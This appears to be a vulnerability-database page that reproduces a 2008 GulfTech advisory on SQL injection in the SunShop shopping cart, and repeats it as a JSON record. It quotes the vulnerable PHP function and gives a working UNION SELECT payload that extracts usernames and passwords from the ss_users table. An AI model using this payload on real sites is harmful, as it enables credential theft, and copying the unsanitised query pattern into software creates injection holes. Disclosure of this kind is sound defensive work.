Search...

SunShop <= 4.1.4 (id) Remote SQL Injection Vulnerability

2014-07-01T00:00:00

ID SSV:65653
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                ##########################################################
# GulfTech Security Research              August 18, 2008
##########################################################
# Vendor : Turnkey Web Tools, Inc
# URL : http://www.turnkeywebtools.com
# Version : SunShop &#60;= 4.1.4
# Risk : SQL Injection
##########################################################


Description:
SunShop shopping cart is a full featured ecommerce solution written
in php that allows for web masters to run their own online ecommerce
operation. Unfortunately there are a number of SQL Injection issues
in SunShop that allow for an attacker to have arbitrary access to the
SunShop database where they can access information such as customer
and administrator details. An updated version of SunShop has been
released to address these issues, and users should upgrade soon.



SQL Injection:
There are quite a few SQL Injection issues within SunShop that for an
attacker to have arbitrary access to the SunShop database. The first
example we will have a look at is in class.ajax.php @ lines 348-362

function edit_registry ($id=&#34;&#34;) {
    global $DB_site, $dbprefix, $settings, $lang, $sess;
    $data = $DB_site-&#62;query_first(&#34;SELECT * FROM `&#34;.$dbprefix.&#34;users_registry`
    WHERE id=&#39;&#34;.$_POST[id].&#34;&#39; AND userid=&#39;&#34;.$sess-&#62;gvar(&#39;userid&#39;).&#34;&#39;&#34;);
    $data = filter_data($data);
    $out  = &#39;document.getElementById(\&#39;wishform\&#39;).style.display = \&#39;none\&#39;;&#39;;
    $out .= &#39;document.getElementById(\&#39;wisheditform\&#39;).style.display = \&#39;block\&#39;;&#39;;
    $out .= &#39;form = document.forms[\&#39;edit_registry\&#39;];&#39;;
    $out .= &#39;form.elements[\&#39;event[id]\&#39;].value = \&#39;&#39;.js_clean($data[id]).&#39;\&#39;;&#39;;
    $out .= &#39;form.elements[\&#39;event[name]\&#39;].value = \&#39;&#39;.js_clean($data[name]).&#39;\&#39;;&#39;;
    $out .= &#39;form.elements[\&#39;event[desc]\&#39;].value = \&#39;&#39;.js_clean($data[description]).&#39;\&#39;;&#39;;
    $out .= &#39;form.elements[\&#39;event[month]\&#39;].selectedIndex = &#39;.(date(&#39;m&#39;,
    strtotime($data[&#39;date&#39;]))-1).&#39;;&#39;;
    $out .= &#39;form.elements[\&#39;event[day]\&#39;].selectedIndex = &#39;.(date(&#39;d&#39;,
    strtotime($data[&#39;date&#39;]))-1).&#39;;&#39;;
    $out .= &#39;form.elements[\&#39;event[year]\&#39;].selectedIndex = &#39;.((date(&#39;Y&#39;,
    strtotime($data[&#39;date&#39;])))-date(&#39;Y&#39;)).&#39;;&#39;;
    return $out;
}

As seen above the SQL Injection issue here is pretty straight forward
and is a result of a $_POST variable being used in the middle of the
query. An attacker could exploit this SQL Injection issue by making a
post request to &#34;/index.php?l=edit_registry&p=1&#34; with the following
post data.

id=-99&#39; UNION SELECT 1,2,3,concat(username,char(58),password),5,6 FROM ss_users/*

Upon successful exploitation an attacker would be presented with the
targeted credentials. In addition to this SQL Injection are several more
SQL Injection issues within class.ajax.php and can be found at lines 77,
113, 138 (via the check_email() function), 349, 374, and 400. With the
exception of the issue @ line 138 these issues are very easily identified as they use GPC variables directly within SQL queries.



Solution:
The TurnKeyWebTools developers have addressed these issues in the latest
version of SunShop which can be found at the following url.

http://www.turnkeywebtools.com/esupport/index.php?_m=news&_a=viewnews&newsid=63


Credits:
James Bercegay of the GulfTech Security Research Team



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00125-08182008

# milw0rm.com [2008-08-19]

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-65653", "status": "cve,poc", "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "SunShop <= 4.1.4 (id) Remote SQL Injection Vulnerability", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-65653", "cvelist": [], "description": "No description provided by source.", "viewCount": 3, "published": "2014-07-01T00:00:00", "sourceData": "\n ##########################################################\r\n# GulfTech Security Research August 18, 2008\r\n##########################################################\r\n# Vendor : Turnkey Web Tools, Inc\r\n# URL : http://www.turnkeywebtools.com\r\n# Version : SunShop <= 4.1.4\r\n# Risk : SQL Injection\r\n##########################################################\r\n\r\n\r\nDescription:\r\nSunShop shopping cart is a full featured ecommerce solution written\r\nin php that allows for web masters to run their own online ecommerce\r\noperation. Unfortunately there are a number of SQL Injection issues\r\nin SunShop that allow for an attacker to have arbitrary access to the\r\nSunShop database where they can access information such as customer\r\nand administrator details. An updated version of SunShop has been\r\nreleased to address these issues, and users should upgrade soon.\r\n\r\n\r\n\r\nSQL Injection:\r\nThere are quite a few SQL Injection issues within SunShop that for an\r\nattacker to have arbitrary access to the SunShop database. The first\r\nexample we will have a look at is in class.ajax.php @ lines 348-362\r\n\r\nfunction edit_registry ($id="") {\r\n global $DB_site, $dbprefix, $settings, $lang, $sess;\r\n $data = $DB_site->query_first("SELECT * FROM `".$dbprefix."users_registry`\r\n WHERE id='".$_POST[id]."' AND userid='".$sess->gvar('userid')."'");\r\n $data = filter_data($data);\r\n $out = 'document.getElementById(\\'wishform\\').style.display = \\'none\\';';\r\n $out .= 'document.getElementById(\\'wisheditform\\').style.display = \\'block\\';';\r\n $out .= 'form = document.forms[\\'edit_registry\\'];';\r\n $out .= 'form.elements[\\'event[id]\\'].value = \\''.js_clean($data[id]).'\\';';\r\n $out .= 'form.elements[\\'event[name]\\'].value = \\''.js_clean($data[name]).'\\';';\r\n $out .= 'form.elements[\\'event[desc]\\'].value = \\''.js_clean($data[description]).'\\';';\r\n $out .= 'form.elements[\\'event[month]\\'].selectedIndex = '.(date('m',\r\n strtotime($data['date']))-1).';';\r\n $out .= 'form.elements[\\'event[day]\\'].selectedIndex = '.(date('d',\r\n strtotime($data['date']))-1).';';\r\n $out .= 'form.elements[\\'event[year]\\'].selectedIndex = '.((date('Y',\r\n strtotime($data['date'])))-date('Y')).';';\r\n return $out;\r\n}\r\n\r\nAs seen above the SQL Injection issue here is pretty straight forward\r\nand is a result of a $_POST variable being used in the middle of the\r\nquery. An attacker could exploit this SQL Injection issue by making a\r\npost request to "/index.php?l=edit_registry&p=1" with the following\r\npost data.\r\n\r\nid=-99' UNION SELECT 1,2,3,concat(username,char(58),password),5,6 FROM ss_users/*\r\n\r\nUpon successful exploitation an attacker would be presented with the\r\ntargeted credentials. In addition to this SQL Injection are several more\r\nSQL Injection issues within class.ajax.php and can be found at lines 77,\r\n113, 138 (via the check_email() function), 349, 374, and 400. With the\r\nexception of the issue @ line 138 these issues are very easily identified as they use GPC variables directly within SQL queries.\r\n\r\n\r\n\r\nSolution:\r\nThe TurnKeyWebTools developers have addressed these issues in the latest\r\nversion of SunShop which can be found at the following url.\r\n\r\nhttp://www.turnkeywebtools.com/esupport/index.php?_m=news&_a=viewnews&newsid=63\r\n\r\n\r\nCredits:\r\nJames Bercegay of the GulfTech Security Research Team\r\n\r\n\r\n\r\nRelated Info:\r\nThe original advisory can be found at the following location\r\nhttp://www.gulftech.org/?node=research&article_id=00125-08182008\r\n\r\n# milw0rm.com [2008-08-19]\r\n\n ", "id": "SSV:65653", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T15:16:36", "reporter": "Root", "enchantments": {"score": {"value": 0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.1}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645353965}}

SunShop &lt;= 4.1.4 (id) Remote SQL Injection Vulnerability

Description

No description provided by source.

SunShop <= 4.1.4 (id) Remote SQL Injection Vulnerability